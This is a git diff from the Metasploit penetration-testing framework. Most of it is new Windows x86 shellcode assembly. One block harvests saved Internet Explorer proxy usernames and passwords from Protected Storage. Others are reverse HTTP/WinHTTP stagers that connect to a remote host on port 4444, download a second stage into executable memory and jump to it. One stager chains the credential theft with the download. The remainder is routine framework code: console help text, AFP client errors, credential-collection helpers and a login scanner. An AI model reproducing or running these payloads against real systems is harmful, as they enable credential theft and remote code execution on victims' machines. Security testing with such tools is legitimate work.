+// set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h. + +#include diff --git a/external/source/msfJavaToolkit/compile.sh b/external/source/msfJavaToolkit/compile.sh index e490fb21ee..dcb63cfc78 100755 --- a/external/source/msfJavaToolkit/compile.sh +++ b/external/source/msfJavaToolkit/compile.sh @@ -1,5 +1,15 @@ #!/bin/bash +# This requires Java 1.7 or earlier because it uses private APIs. +# See http://kris-sigur.blogspot.com/2014/10/heritrix-java-8-and-sunsecuritytoolskey.html +# for more information. + +# Attempt to use Java 1.6 when building on OS X, otherwise JAVA_HOME needs to +# be set manually. +if [ -x /usr/libexec/java_home ]; then + export JAVA_HOME=$(/usr/libexec/java_home -v 1.6) +fi + javac -classpath $JAVA_HOME/lib/tools.jar:. javaCompile/*.java jar -cf msfJavaToolkit.jar javaCompile/*.class diff --git a/external/source/shellcode/windows/x64/src/block/block_reverse_https.asm b/external/source/shellcode/windows/x64/src/block/block_reverse_https.asm index 32ba7ff12b..7578b590c1 100644 --- a/external/source/shellcode/windows/x64/src/block/block_reverse_https.asm +++ b/external/source/shellcode/windows/x64/src/block/block_reverse_https.asm @@ -145,7 +145,7 @@ download_more: test eax,eax ; download failed? (optional?) jz failure - mov rax, [rdi] + mov ax, word ptr [edi] add rbx, rax ; buffer += bytes_received test rax,rax ; optional? diff --git a/external/source/shellcode/windows/x86/src/block/block_get_pstore_creds.asm b/external/source/shellcode/windows/x86/src/block/block_get_pstore_creds.asm new file mode 100644 index 0000000000..acd1afc053 --- /dev/null +++ b/external/source/shellcode/windows/x86/src/block/block_get_pstore_creds.asm @@ -0,0 +1,209 @@ +;-----------------------------------------------------------------------------; +; Author: Unknown +; Compatible: Confirmed Windows Server 2003, IE Versions 4 to 6 +; Version: 1.0 +;-----------------------------------------------------------------------------; +[BITS 32] + +; Input: EBP must be the address of 'api_call' +; Output: top element of stack will be pointer to null-terminated password and +; second will be pointer to null-terminated username of the Proxy saved in IE + +pushad +jmp after_functions + +alloc_memory: ; returns address to allocation in eax + push byte 0x40 ; PAGE_EXECUTE_READWRITE + push 0x1000 ; MEM_COMMIT + push 0x1000 ; allocate 1000 byte for each variable (could be less) + push 0 ; NULL as we dont care where the allocation is + push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" ) + call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXE$ + ret ; + ; +after_functions: ; + ; + ; allocate memory for variables and save pointers on stack + mov bl, 9 ; + alloc_loop: ; + call alloc_memory ; + push eax ; save allocation address on stack + dec bl ; + jnz alloc_loop ; + ; +load_pstorec: ; loads the pstorec.dll + push 0x00636572 ; Push the bytes 'pstorec',0 onto the stack. + push 0x6f747370 ; ... + push esp ; Push a pointer to the 'pstorec',0 string on the stack. + push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" ) + call ebp ; LoadLibraryA( "pstorec" ) + ; this should leave a handle to the pstorec + ; DLL-Module in eax + + pop edx ; remove 'pstorec' string from stack + pop edx + +PStoreCreateInstance_PStore: + ; returns address to PStore in pPStore + pop edi ; pop pPstore + push edi ; restore stack + ; + push 0 ; + push 0 ; + push 0 ; + push edi ; arg4: pPstore + push 0x2664BDDB ; hash ( "pstorec.dll", "PStoreCreateInstance" ) + call ebp ; PstoreCreateInstance(address, 0, 0, 0) + ; +PStore.EnumTypes: ; returns address to EnumPStoreTypes in pEnumPStoreTypes + pop eax ; pop pPstore + pop edx ; pop pEnumPstoreTypes + push edx ; restore stack + push eax ; + ; + push edx ; arg1: pEnumPstoreTypes + push 0 ; arg2: NULL + push 0 ; arg3: NULL + mov eax, [eax] ; load base address of PStore in eax + push eax ; push base address of PStore (this) + mov edx, [eax] ; get function address of IPStore::EnumTypes in pstorec.dll + mov edx, [edx+0x38] ; &EnumTypes() = *(*(&PStore)+0x38) + call edx ; call IPStore::EnumTypes + mov edi, 0x5e7e8100 ; Value of pTypeGUID if Password is IE:Password-Protected + ; +EnumPStoreTypes.raw_Next: + pop eax ; pop pPStore + pop edx ; pop pEnumPStoreTypes + pop ecx ; pop pTypeGUID + push ecx ; restore stack + push edx ; + push eax ; + ; + push 0 ; arg1: NULL + push ecx ; arg2: pTypeGUID + push 1 ; arg3: 1 + mov edx, [edx] ; load base address of EnumPStoreTypes + push edx ; push base address of EnumPStoreTypes (this) + mov edx, [edx] ; get function address of EnumPStoreTypes::raw_Next in pstorec.dll + mov edx, [edx+0x0C] ; &RawNext = *(*(*(&EnumPStoreTypes))+0x0C) + call edx ; call EnumPStoreTypes::raw_Next + ; + mov eax, [esp+8] ; + mov eax, [eax] ; + ; + test eax, eax ; + jz no_auth ; no Password found + cmp edi, eax ; do this until TypeGUID indicates "IE Password Protected sites" + jne EnumPStoreTypes.raw_Next + ; +PStore.EnumSubtypes: ; returns address to EnumSubtypes () in pEnumSubtypes () + pop eax ; pop pPstore + pop edx ; pop pEnumPstoreTypes + pop ecx ; pop pTypeGUID + pop edi ; pop pEnumSubtypes + push edi ; restore stack + push ecx ; + push edx ; + push eax ; + ; + push edi ; arg1: pEnumSubtypes + push 0 ; arg2: NULL + push ecx ; arg3: pTypeGUID + push 0 ; arg4: NULL + mov eax, [eax] ; load base address of PStore in eax + push eax ; push base address of PStore (this) + mov edx, [eax] ; get function address of IPStore::EnumSubtypes in pstorec.dll + mov edx, [edx+0x3C] ; &Pstore.EnumSubTypes() = *(*(*(&PStore))+0x3C) + call edx ; call IPStore::EnumSubtypes + ; +EnumSubtypes.raw_Next: + mov eax, [esp+0x0C] ; pop pEnumSubtypes + mov edx, [esp+0x10] ; pop psubTypeGUID + ; + push 0 ; arg1: NULL + push edx ; arg2: psubTypeGUID + push 1 ; arg3: 1 + mov eax, [eax] ; load base address of EnumSubtypes in eax + push eax ; push base address of EnumSubtypes (this) + mov edx, [eax] ; get function address of raw_Next in pstorec.dll + mov edx, [edx+0x0C] ; &(EnumSubtypes.raw_Next) = *(*(&EnumSubtypes)+0x0C) + call edx ; call EnumSubtypes.raw_Next + ; +PStore.EnumItems: + pop eax ; pop pPstore + pop ecx ; + pop edx ; pop pTypeGUID + push edx ; restore stack + push ecx ; + push eax ; + mov ecx, [esp+0x10] ; pop psubTypeGUID + mov edi, [esp+0x14] ; pop pspEnumItems + ; + push edi ; arg1: pspEnumItems + push 0 ; arg2: NULL + push ecx ; arg3: psubTypeGUID + push edx ; arg4: pTyoeGUID + push 0 ; arg5: NULL + mov eax, [eax] ; load base address of PStore in eax + push eax ; push base address of PStore (this) + mov edx, [eax] ; get function address of IPStore::Enumitems in pstorec.dll + mov edx, [edx+0x54] ; + call edx ; call IPStore::Enumitems + ; +spEnumItems.raw_Next: + mov eax, [esp+0x14] ; pop pspEnumItems + mov ecx, [esp+0x18] ; pop pitemName + ; + push 0 ; arg1: NULL + push ecx ; arg2: pitemName + push 1 ; arg3: 1 + mov eax, [eax] ; load base address of spEnumItems in eax + push eax ; push base addres of spEnumItems (this) + mov edx, [eax] ; get function address of raw_Next in pstorec.dll + mov edx, [edx+0x0C] ; + call edx ; + ; +PStore.ReadItem: + pop eax ; pop pPStore + push eax ; + ; + push 0 ; arg1: NULL + push 0 ; arg2: NULL (stiinfo not needed) + mov ecx, [esp+0x24] ; pop ppsData (8. Element) + push ecx ; arg3: ppsData + mov ecx, [esp+0x2C] ; pop ppsDataLen + push ecx ; arg4: ppsDataLen (not needed?) + mov ecx, [esp+0x28] ; pop pitemName (7. Element) + mov ecx, [ecx] ; + push ecx ; arg5: pitemName + mov ecx, [esp+0x24] ; pop psubTypeGUID (5. Element) + push ecx ; arg6: psubTypeGUID + mov ecx, [esp+0x20] ; pop pTypeGUID (3. Element) + push ecx ; arg7: pTypeGUID + push 0 ; arg8: NULL + mov eax, [eax] ; load base address of PStore in eax + push eax ; push base addres of PStore (this) + mov edx, [eax] ; get function address of IPStore::ReadItem in pstorec.dll + mov edx, [edx+0x44] ; + call edx ; + ; +split_user_pass: + mov eax, [esp+0x1C] ; eax = ppsData + mov eax, [eax] ; now eax contains pointer to "user:pass" + push eax ; push pointer to user + mov cl, byte 0x3a ; load ":" in ecx + mov dl, byte [eax] ; load first byte of ppsData in edx + cmp cl, dl ; + jz no_auth ; + loop_split: ; + inc eax ; + mov dl, byte [eax] ; + cmp cl, dl ; + jnz loop_split ; increase eax until it points to ":" + ; + mov [eax], byte 0x00 ; replace ":" with 00 + inc eax ; + push eax ; push pointer to pass + ; +no_auth: + diff --git a/external/source/shellcode/windows/x86/src/block/block_reverse_http_use_proxy_creds.asm b/external/source/shellcode/windows/x86/src/block/block_reverse_http_use_proxy_creds.asm new file mode 100644 index 0000000000..81730fad55 --- /dev/null +++ b/external/source/shellcode/windows/x86/src/block/block_reverse_http_use_proxy_creds.asm @@ -0,0 +1,157 @@ +;-----------------------------------------------------------------------------; +; Author: HD Moore +; Compatible: Confirmed Windows 7, Windows 2008 Server, Windows XP SP1, Windows SP3, Windows 2000 +; Known Bugs: Incompatible with Windows NT 4.0, buggy on Windows XP Embedded (SP1) +; Version: 1.0 +;-----------------------------------------------------------------------------; +[BITS 32] + +; Input: EBP must be the address of 'api_call'. +; Top and second top element of stack can be pointer to null-terminated +; password and pointer to null-terminated username of a proxy server to connect to. +; Output: EDI will be the socket for the connection to the server +; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0) +load_wininet: + push 0x0074656e ; Push the bytes 'wininet',0 onto the stack. + push 0x696e6977 ; ... + push esp ; Push a pointer to the "wininet" string on the stack. + push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" ) + call ebp ; LoadLibraryA( "wininet" ) + +internetopen: + xor edi,edi + push edi ; DWORD dwFlags + push edi ; LPCTSTR lpszProxyBypass + push edi ; LPCTSTR lpszProxyName + push edi ; DWORD dwAccessType (PRECONFIG = 0) + push byte 0 ; NULL pointer + push esp ; LPCTSTR lpszAgent ("\x00") + push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" ) + call ebp + + jmp short dbl_get_server_host + +internetconnect: + pop ebx ; Save the hostname pointer + xor edi, edi + push edi ; DWORD_PTR dwContext (NULL) + push edi ; dwFlags + push byte 3 ; DWORD dwService (INTERNET_SERVICE_HTTP) + push ecx ; password + push edx ; username + push dword 4444 ; PORT + push ebx ; HOSTNAME + push eax ; HINTERNET hInternet + push 0xC69F8957 ; hash( "wininet.dll", "InternetConnectA" ) + call ebp + + jmp get_server_uri + +httpopenrequest: + pop ecx + xor edx, edx ; NULL + push edx ; dwContext (NULL) + push (0x80000000 | 0x04000000 | 0x00200000 | 0x00000200) ; dwFlags + ;0x80000000 | ; INTERNET_FLAG_RELOAD + ;0x04000000 | ; INTERNET_NO_CACHE_WRITE + ;0x00200000 | ; INTERNET_FLAG_NO_AUTO_REDIRECT + ;0x00000200 ; INTERNET_FLAG_NO_UI + push edx ; accept types + push edx ; referrer + push edx ; version + push ecx ; url + push edx ; method + push eax ; hConnection + push 0x3B2E55EB ; hash( "wininet.dll", "HttpOpenRequestA" ) + call ebp + mov esi, eax ; hHttpRequest + +set_retry: + push byte 0x10 + pop ebx + +httpsendrequest: + xor edi, edi + push edi ; optional length + push edi ; optional + push edi ; dwHeadersLength + push edi ; headers + push esi ; hHttpRequest + push 0x7B18062D ; hash( "wininet.dll", "HttpSendRequestA" ) + call ebp + test eax,eax + jnz short allocate_memory + +try_it_again: + dec ebx + jz failure + jmp short httpsendrequest + +dbl_get_server_host: + jmp get_server_host + +get_server_uri: + call httpopenrequest + +server_uri: + db "/12345", 0x00 + +failure: + push 0x56A2B5F0 ; hardcoded to exitprocess for size + call ebp + +allocate_memory: + push byte 0x40 ; PAGE_EXECUTE_READWRITE + push 0x1000 ; MEM_COMMIT + push 0x00400000 ; Stage allocation (8Mb ought to do us) + push edi ; NULL as we dont care where the allocation is (zero'd from the prev function) + push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" ) + call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE ); + +download_prep: + xchg eax, ebx ; place the allocated base address in ebx + push ebx ; store a copy of the stage base address on the stack + push ebx ; temporary storage for bytes read count + mov edi, esp ; &bytesRead + +download_more: + push edi ; &bytesRead + push 8192 ; read length + push ebx ; buffer + push esi ; hRequest + push 0xE2899612 ; hash( "wininet.dll", "InternetReadFile" ) + call ebp + + test eax,eax ; download failed? (optional?) + jz failure + + mov eax, [edi] + add ebx, eax ; buffer += bytes_received + + test eax,eax ; optional? + jnz download_more ; continue until it returns 0 + pop eax ; clear the temporary storage + +execute_stage: + ret ; dive into the stored stage address + +get_server_host: + +;////////////////////////////////// +;//get proxy credentials from stack +;////////////////////////////////// +get_proxy_auth: + pop esi ; delete the top 3 stack elements as they are + pop esi ; garbage from this block + pop esi + + pop ecx ; save pointer to password in ecx + pop edx ; save pointer to username in edx +;///////////////////////////////////////////////// +; we use the credentials only in internetconnect// +;///////////////////////////////////////////////// + + call internetconnect + +server_host: + diff --git a/external/source/shellcode/windows/x86/src/block/block_reverse_winhttp.asm b/external/source/shellcode/windows/x86/src/block/block_reverse_winhttp.asm new file mode 100644 index 0000000000..d9a8e4f727 --- /dev/null +++ b/external/source/shellcode/windows/x86/src/block/block_reverse_winhttp.asm @@ -0,0 +1,138 @@ +;-----------------------------------------------------------------------------; +; Author: Borja Merino (modification of the HD Moore HTTP stager based on WinINet) +; Version: 1.0 +;-----------------------------------------------------------------------------; +[BITS 32] +%define u(x) __utf16__(x) +%define HTTP_OPEN_FLAGS 0x00000100 + ;0x00000100 ; WINHTTP_FLAG_BYPASS_PROXY_CACHE + +; Input: EBP must be the address of 'api_call'. +; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0) + +load_winhttp: + push 0x00707474 ; Push the string 'winhttp',0 + push 0x686E6977 ; ... + push esp ; Push a pointer to the "winhttp" string + push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" ) + call ebp ; LoadLibraryA( "winhttp" ) + +set_retry: + push byte 6 ; retry 6 times + pop EDI + xor ebx, ebx + mov ecx, edi + +push_zeros: + push ebx ; NULL values for the WinHttpOpen API parameters + loop push_zeros + +WinHttpOpen: + ; Flags [5] + ; ProxyBypass (NULL) [4] + ; ProxyName (NULL) [3] + ; AccessType (DEFAULT_PROXY= 0) [2] + ; UserAgent (NULL) [1] + push 0xBB9D1F04 ; hash( "winhttp.dll", "WinHttpOpen" ) + call ebp + +WinHttpConnect: + push ebx ; Reserved (NULL) [4] + push dword 4444 ; Port [3] + call got_server_uri ; Double call to get pointer for both server_uri and +server_uri: ; server_host; server_uri is saved in EDI for later + dw u('/12345'), 0 +got_server_host: + push eax ; Session handle returned by WinHttpOpen [1] + push 0xC21E9B46 ; hash( "winhttp.dll", "WinHttpConnect" ) + call ebp + +WinHttpOpenRequest: + + push HTTP_OPEN_FLAGS ; Flags [7] + push ebx ; AcceptTypes (NULL) [6] + push ebx ; Referrer (NULL) [5] + push ebx ; Version (NULL) [4] + push edi ; ObjectName (URI) [3] + push ebx ; Verb (GET method) (NULL) [2] + push eax ; Connect handler returned by WinHttpConnect [1] + push 0x5BB31098 ; hash( "winhttp.dll", "WinHttpOpenRequest" ) + call ebp + xchg esi, eax ; save HttpRequest handler in esi + +send_request: + +WinHttpSendRequest: + push ebx ; Context [7] + push ebx ; TotalLength [6] + push ebx ; OptionalLength (0) [5] + push ebx ; Optional (NULL) [4] + push ebx ; HeadersLength (0) [3] + push ebx ; Headers (NULL) [2] + push esi ; HttpRequest handler returned by WinHttpOpenRequest [1] + push 0x91BB5895 ; hash( "winhttp.dll", "WinHttpSendRequest" ) + call ebp + test eax,eax + jnz short receive_response ; if TRUE call WinHttpReceiveResponse API + +try_it_again: + dec edi + jnz send_request + +; if we didn't allocate before running out of retries, fall through to +; failure + +failure: + push 0x56A2B5F0 ; hardcoded to exitprocess for size + call ebp + +receive_response: + ; The API WinHttpReceiveResponse needs to be called + ; first to get a valid handler for WinHttpReadData + push ebx ; Reserved (NULL) [2] + push esi ; Request handler returned by WinHttpSendRequest [1] + push 0x709D8805 ; hash( "winhttp.dll", "WinHttpReceiveResponse" ) + call ebp + test eax,eax + jz failure + +allocate_memory: + push byte 0x40 ; PAGE_EXECUTE_READWRITE + push 0x1000 ; MEM_COMMIT + push 0x00400000 ; Stage allocation (4Mb ought to do us) + push ebx ; NULL as we dont care where the allocation is + push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" ) + call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE ); + +download_prep: + xchg eax, ebx ; place the allocated base address in ebx + push ebx ; store a copy of the stage base address on the stack + push ebx ; temporary storage for bytes read count + mov edi, esp ; &bytesRead + +download_more: + push edi ; NumberOfBytesRead (bytesRead) + push 8192 ; NumberOfBytesToRead + push ebx ; Buffer + push esi ; Request handler returned by WinHttpReceiveResponse + push 0x7E24296C ; hash( "winhttp.dll", "WinHttpReadData" ) + call ebp + + test eax,eax ; if download failed? (optional?) + jz failure + + mov eax, [edi] + add ebx, eax ; buffer += bytes_received + + test eax,eax ; optional? + jnz download_more ; continue until it returns 0 + pop eax ; clear the temporary storage + +execute_stage: + ret ; dive into the stored stage address + +got_server_uri: + pop edi + call got_server_host ; put the server_host on the stack (WinHttpConnect API [2]) + +server_host: diff --git a/external/source/shellcode/windows/x86/src/stager/stager_reverse_http_proxy_pstore.asm b/external/source/shellcode/windows/x86/src/stager/stager_reverse_http_proxy_pstore.asm new file mode 100644 index 0000000000..a3dbd39532 --- /dev/null +++ b/external/source/shellcode/windows/x86/src/stager/stager_reverse_http_proxy_pstore.asm @@ -0,0 +1,18 @@ +;-----------------------------------------------------------------------------; +; Author: Unknown +; Compatible: Windows Server 2003, IE Versions 4 to 6 +; Build: >build.py stager_reverse_http_proxy_pstore +;-----------------------------------------------------------------------------; + +[BITS 32] +[ORG 0] + + cld ; Clear the direction flag. + call start ; Call start, this pushes the address of 'api_call' onto the stack. +%include "./src/block/block_api.asm" +start: ; + pop ebp ; pop off the address of 'api_call' for calling later. +%include "./src/block/block_get_pstore_creds.asm" +%include "./src/block/block_reverse_http_use_proxy_creds.asm" + ; By here we will have performed the reverse_tcp connection and EDI will be our socket. + diff --git a/external/source/shellcode/windows/x86/src/stager/stager_reverse_winhttp.asm b/external/source/shellcode/windows/x86/src/stager/stager_reverse_winhttp.asm new file mode 100644 index 0000000000..7e32a9b3b8 --- /dev/null +++ b/external/source/shellcode/windows/x86/src/stager/stager_reverse_winhttp.asm @@ -0,0 +1,19 @@ +;-----------------------------------------------------------------------------; +; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com) +; Borja Merino (bmerinofe[at]gmail.com). [WinHttp stager (Http)] +; Version: 1.0 (January 2015) +; Size: 323 bytes +; Build: >build.py stager_reverse_winhttp_http +;-----------------------------------------------------------------------------; + +[BITS 32] +[ORG 0] + + cld ; Clear the direction flag. + call start ; Call start, this pushes the address of 'api_call' onto the stack. +%include "./src/block/block_api.asm" +start: ; + pop ebp ; pop off the address of 'api_call' for calling later. +%include "./src/block/block_reverse_winhttp_http.asm" + ; By here we will have performed the reverse_tcp connection and EDI will be our socket. + diff --git a/external/zsh/_msfconsole b/external/zsh/_msfconsole index 1637d0e58f..060d943dc9 100644 --- a/external/zsh/_msfconsole +++ b/external/zsh/_msfconsole @@ -33,7 +33,7 @@ _arguments \ {-o,--output}"[Output to the specified file]:output file" \ {-p,--plugin}"[Load a plugin on startup]:plugin file:_files" \ {-q,--quiet}"[Do not print the banner on start up]" \ - {-r,--resource}"[Execute the specified resource file]:resource file:_files" \ + {-r,--resource}"[Execute the specified resource file (- for stdin)]:resource file:_files" \ {-v,--version}"[Show version]" \ {-x,--execute-command}"[Execute the specified string as console commands]:commands" \ {-y,--yaml}"[Specify a YAML file containing database settings]:yaml file:_files" diff --git a/features/commands/help.feature b/features/commands/help.feature index a5395f347a..95fe5e6388 100644 --- a/features/commands/help.feature +++ b/features/commands/help.feature @@ -19,6 +19,8 @@ Feature: Help command connect Communicate with a host edit Edit the current module with $VISUAL or $EDITOR exit Exit the console + get Gets the value of a context-specific variable + getg Gets the value of a global variable go_pro Launch Metasploit web GUI grep Grep the output of another command help Help menu @@ -34,19 +36,20 @@ Feature: Help command pushm Pushes the active or list of modules onto the module stack quit Exit the console reload_all Reloads all modules from all defined module paths + rename_job Rename a job resource Run the commands stored in a file route Route traffic through a session save Saves the active datastores search Searches module names and descriptions sessions Dump session listings and display information about sessions - set Sets a variable to a value + set Sets a context-specific variable to a value setg Sets a global variable to a value show Displays modules of a given type, or all modules sleep Do nothing for the specified number of seconds spool Write console output into a file as well the screen threads View and manipulate background threads unload Unload a framework plugin - unset Unsets one or more variables + unset Unsets one or more context-specific variables unsetg Unsets one or more global variables use Selects a module by name version Show the framework and console library version numbers diff --git a/features/modules/exploit/smb/ms08_067_netapi.feature b/features/modules/exploit/smb/ms08_067_netapi.feature index 8dcad6cc9e..f8c30e7e59 100644 --- a/features/modules/exploit/smb/ms08_067_netapi.feature +++ b/features/modules/exploit/smb/ms08_067_netapi.feature @@ -99,7 +99,7 @@ Feature: MS08-067 netapi Name : Proxies Current Setting: - Description : Use a proxy chain + Description : A proxy chain of format type:host:port[,type:host:port][...] Name : SMB::ChunkSize Current Setting: 500 diff --git a/lib/metasploit/framework/afp/client.rb b/lib/metasploit/framework/afp/client.rb index 2bc578d7a7..a12f7275ce 100644 --- a/lib/metasploit/framework/afp/client.rb +++ b/lib/metasploit/framework/afp/client.rb @@ -77,8 +77,7 @@ module Metasploit begin response = sock.timed_read(1024, self.login_timeout) rescue Timeout::Error - #vprint_error("AFP #{rhost}:#{rport} Login timeout (AFP server delay response for 20 - 22 seconds after 7 incorrect logins)") - return :connection_error + raise RuntimeError, "AFP Login timeout (AFP server delay response for 20 - 22 seconds after 7 incorrect logins)" end flags, command, request_id, error_code, length, reserved = parse_header(response) @@ -87,8 +86,7 @@ module Metasploit when -5001 #kFPAuthContinue return parse_login_response_add_send_login_count(response, {:p => p, :g => g, :ra => ra, :ma => ma, :password => pass, :user => user}) - when -5023 #kFPUserNotAuth (User dosen't exists) - #print_status("AFP #{rhost}:#{rport} User #{user} dosen't exists") + when -5023 #kFPUserNotAuth (User dosen't exists) return :skip_user else return :connection_error @@ -123,8 +121,7 @@ module Metasploit begin response = sock.timed_read(1024, self.login_timeout) rescue Timeout::Error - vprint_error("AFP #{rhost}:#{rport} Login timeout (AFP server delay response for 20 - 22 seconds after 7 incorrect logins)") - return :connection_error + raise RuntimeError, "AFP Login timeout (AFP server delay response for 20 - 22 seconds after 7 incorrect logins)" end flags, command, request_id, error_code, length, reserved = parse_header(response) @@ -180,8 +177,7 @@ module Metasploit begin response = sock.timed_read(1024, self.login_timeout) rescue Timeout::Error - vprint_error("AFP #{rhost}:#{rport} Login timeout (AFP server delay response for 20 - 22 seconds after 7 incorrect logins)") - return :connection_error + raise RuntimeError, "AFP Login timeout (AFP server delay response for 20 - 22 seconds after 7 incorrect logins)" end flags, command, request_id, error_code, length, reserved = parse_header(response) @@ -201,7 +197,7 @@ module Metasploit parsed_data = {} flags, command, request_id, error_code, length, reserved = parse_header(response) - raise "AFP #{rhost}:#{rport} Server response with error" if error_code != 0 + raise RuntimeError, "AFP Server response with error" if error_code != 0 body = get_body(response, length) machine_type_offset, afp_versions_offset, uam_count_offset, icon_offset, server_flags = body.unpack('nnnnn') @@ -243,7 +239,7 @@ module Metasploit def get_body(packet, body_length) body = packet[16..body_length + 15] - raise "AFP #{rhost}:#{rport} Invalid body length" if body.length != body_length + raise RuntimeError, "AFP Invalid body length" if body.length != body_length return body end @@ -291,7 +287,7 @@ module Metasploit when 7 # IPv6 address (16 bytes) followed by a two-byte port number parsed_addreses << "[#{IPAddr.ntop(address[1..16])}]:#{address[17..18].unpack("n").first}" else # Something wrong? - raise "Error parsing network addresses" + raise RuntimeError, "Error parsing network addresses" end end return parsed_addreses diff --git a/lib/metasploit/framework/credential.rb b/lib/metasploit/framework/credential.rb index 4915f5f56b..1361f82223 100644 --- a/lib/metasploit/framework/credential.rb +++ b/lib/metasploit/framework/credential.rb @@ -51,7 +51,7 @@ module Metasploit # These values should be #demodularized from subclasses of # `Metasploit::Credential::Private` validates :private_type, - inclusion: { in: [ :password, :ntlm_hash, :ssh_key ] }, + inclusion: { in: [ :password, :ntlm_hash, :postgres_md5, :ssh_key ] }, if: "private_type.present?" # If we have no private we MUST have a public diff --git a/lib/metasploit/framework/credential_collection.rb b/lib/metasploit/framework/credential_collection.rb index abfb84504b..cb7f0bbac8 100644 --- a/lib/metasploit/framework/credential_collection.rb +++ b/lib/metasploit/framework/credential_collection.rb @@ -2,6 +2,18 @@ require 'metasploit/framework/credential' class Metasploit::Framework::CredentialCollection + # @!attribute additional_privates + # Additional privates to be combined + # + # @return [Array] + attr_accessor :additional_privates + + # @!attribute additional_publics + # Additional public to be combined + # + # @return [Array] + attr_accessor :additional_publics + # @!attribute blank_passwords # Whether each username should be tried with a blank password # @return [Boolean] @@ -59,7 +71,27 @@ class Metasploit::Framework::CredentialCollection opts.each do |attribute, value| public_send("#{attribute}=", value) end - self.prepended_creds ||= [] + self.prepended_creds ||= [] + self.additional_privates ||= [] + self.additional_publics ||= [] + end + + # Adds a string as an addition private credential + # to be combined in the collection. + # + # @param [String] private_str the string to use as a private + # @return [void] + def add_private(private_str='') + additional_privates << private_str + end + + # Adds a string as an addition public credential + # to be combined in the collection. + # + # @param [String] public_str the string to use as a public + # @return [void] + def add_public(public_str='') + additional_publics << public_str end # Add {Credential credentials} that will be yielded by {#each} @@ -101,6 +133,9 @@ class Metasploit::Framework::CredentialCollection end pass_fd.seek(0) end + additional_privates.each do |add_private| + yield Metasploit::Framework::Credential.new(public: username, private: add_private, realm: realm, private_type: private_type(add_private)) + end end if user_file.present? @@ -123,6 +158,9 @@ class Metasploit::Framework::CredentialCollection end pass_fd.seek(0) end + additional_privates.each do |add_private| + yield Metasploit::Framework::Credential.new(public: user_from_file, private: add_private, realm: realm, private_type: private_type(add_private)) + end end end end @@ -141,6 +179,28 @@ class Metasploit::Framework::CredentialCollection end end + additional_publics.each do |add_public| + if password.present? + yield Metasploit::Framework::Credential.new(public: add_public, private: password, realm: realm, private_type: private_type(password) ) + end + if user_as_pass + yield Metasploit::Framework::Credential.new(public: add_public, private: user_from_file, realm: realm, private_type: :password) + end + if blank_passwords + yield Metasploit::Framework::Credential.new(public: add_public, private: "", realm: realm, private_type: :password) + end + if pass_fd + pass_fd.each_line do |pass_from_file| + pass_from_file.chomp! + yield Metasploit::Framework::Credential.new(public: add_public, private: pass_from_file, realm: realm, private_type: private_type(pass_from_file)) + end + pass_fd.seek(0) + end + additional_privates.each do |add_private| + yield Metasploit::Framework::Credential.new(public: add_public, private: add_private, realm: realm, private_type: private_type(add_private)) + end + end + ensure pass_fd.close if pass_fd && !pass_fd.closed? end @@ -150,6 +210,8 @@ class Metasploit::Framework::CredentialCollection def private_type(private) if private =~ /[0-9a-f]{32}:[0-9a-f]{32}/ :ntlm_hash + elsif private =~ /^md5([a-f0-9]{32})$/ + :postgres_md5 else :password end diff --git a/lib/metasploit/framework/ftp/client.rb b/lib/metasploit/framework/ftp/client.rb index 9e6bcdacec..c61b8f60a9 100644 --- a/lib/metasploit/framework/ftp/client.rb +++ b/lib/metasploit/framework/ftp/client.rb @@ -44,7 +44,11 @@ module Metasploit # convert port to FTP syntax datahost = "#{$1}.#{$2}.#{$3}.#{$4}" dataport = ($5.to_i * 256) + $6.to_i - self.datasocket = Rex::Socket::Tcp.create('PeerHost' => datahost, 'PeerPort' => dataport) + self.datasocket = Rex::Socket::Tcp.create( + 'PeerHost' => datahost, + 'PeerPort' => dataport, + 'Context' => { 'Msf' => framework, 'MsfExploit' => framework_module } + ) end self.datasocket end diff --git a/lib/metasploit/framework/jtr/wordlist.rb b/lib/metasploit/framework/jtr/wordlist.rb index 1b8a395eef..3bc7c3b9b0 100644 --- a/lib/metasploit/framework/jtr/wordlist.rb +++ b/lib/metasploit/framework/jtr/wordlist.rb @@ -224,7 +224,7 @@ module Metasploit end # Yield any capture MSSQL Instance names - workspace.notes.find(:all, :conditions => ['ntype=?', 'mssql.instancename']).each do |note| + workspace.notes.where(['ntype=?', 'mssql.instancename']).each do |note| expanded_words(note.data['InstanceName']) do |word| yield word end diff --git a/lib/metasploit/framework/login_scanner/acpp.rb b/lib/metasploit/framework/login_scanner/acpp.rb new file mode 100644 index 0000000000..1f01e59d04 --- /dev/null +++ b/lib/metasploit/framework/login_scanner/acpp.rb @@ -0,0 +1,70 @@ +require 'metasploit/framework/tcp/client' +require 'rex/proto/acpp' +require 'metasploit/framework/login_scanner/base' +require 'metasploit/framework/login_scanner/rex_socket' + +module Metasploit + module Framework + module LoginScanner + # This is the LoginScanner class for dealing with the Apple Airport ACPP + # protocol. It is responsible for taking a single target, and a list of + # credentials and attempting them. It then saves the results. + class ACPP + include Metasploit::Framework::LoginScanner::Base + include Metasploit::Framework::LoginScanner::RexSocket + include Metasploit::Framework::Tcp::Client + + # + # CONSTANTS + # + DEFAULT_PORT = Rex::Proto::ACPP::DEFAULT_PORT + LIKELY_PORTS = [ DEFAULT_PORT ] + LIKELY_SERVICE_NAMES = [ 'acpp' ] + PRIVATE_TYPES = [ :password ] + REALM_KEY = nil + + + # This method attempts a single login with a single credential against the target + # @param credential [Credential] The credential object to attmpt to login with + # @return [Metasploit::Framework::LoginScanner::Result] The LoginScanner Result object + def attempt_login(credential) + result_options = { + credential: credential, + host: host, + port: port, + protocol: 'tcp', + service_name: 'acpp' + } + + begin + # Make our initial socket to the target + disconnect if self.sock + connect + + client = Rex::Proto::ACPP::Client.new(sock) + + auth_response = client.authenticate(credential.private) + if auth_response.successful? 